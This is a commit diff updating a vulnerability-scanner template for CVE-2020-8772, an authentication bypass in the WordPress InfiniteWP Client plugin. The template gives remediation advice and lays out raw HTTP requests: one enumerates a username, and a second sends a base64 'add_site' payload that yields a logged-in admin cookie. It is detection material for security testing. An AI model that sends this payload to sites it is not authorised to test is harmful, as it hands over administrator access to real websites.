Update CVE-2020-8772.yaml

patch-1
Prince Chaddha 2022-08-06 00:05:56 -07:00 committed by GitHub
parent 765c3bc5b3
commit 9f5f0d669d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 42 additions and 14 deletions

View File

@ -2,7 +2,7 @@ id: CVE-2020-8772
info:
name: WordPress InfiniteWP Client < 1.9.4.5 - Authentication Bypass
author: scent2d
author: princechaddha,scent2d
severity: critical
description: |
The InfiniteWP Client plugin before 1.9.4.5 for WordPress has a missing
@ -11,6 +11,7 @@ info:
reference:
- https://wpscan.com/vulnerability/10011
- https://nvd.nist.gov/vuln/detail/CVE-2020-8772
remediation: Upgrade to InfiniteWP Client 1.9.4.5 or higher.
metadata:
verified: true
tags: cve,cve2020,wordpress,wp-plugin,wp,infinitewp
@ -18,22 +19,49 @@ info:
requests:
- raw:
- |
POST / HTTP/1.1
GET /?author=1 HTTP/1.1
Host: {{Hostname}}
_IWP_JSON_PREFIX_{{base64('{\"iwp_action\":\"add_site\",\"params\":{\"username\":\"{{username}}\"}}')}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en-US,en;q=0.9
- |
GET / HTTP/1.1
POST / HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
cookie-reuse: true
req-condition: true
_IWP_JSON_PREFIX_{{base64("{\"iwp_action\":\"add_site\",\"params\":{\"username\":\"{{username}}\"}}")}}
redirects: true
extractors:
- type: regex
name: username
internal: true
group: 1
part: body
regex:
- 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
- type: regex
name: username
internal: true
group: 1
part: header
regex:
- 'ion: https:\/\/[a-z0-9.]+\/author\/([a-z]+)\/'
matchers-condition: and
matchers:
- type: dsl
dsl:
- "contains(header_1, 'path=/wp-admin')"
- "contains(body_2, 'wp-admin-bar-') && contains(body_2, 'action=logout')"
- "status_code_2 == 200"
- "contains(all_headers_2, 'text/html')"
condition: and
- type: word
words:
- "wordpress_logged_in"
part: header
- type: word
words:
- "<IWPHEADER>"
part: body
- type: status
status:
- 200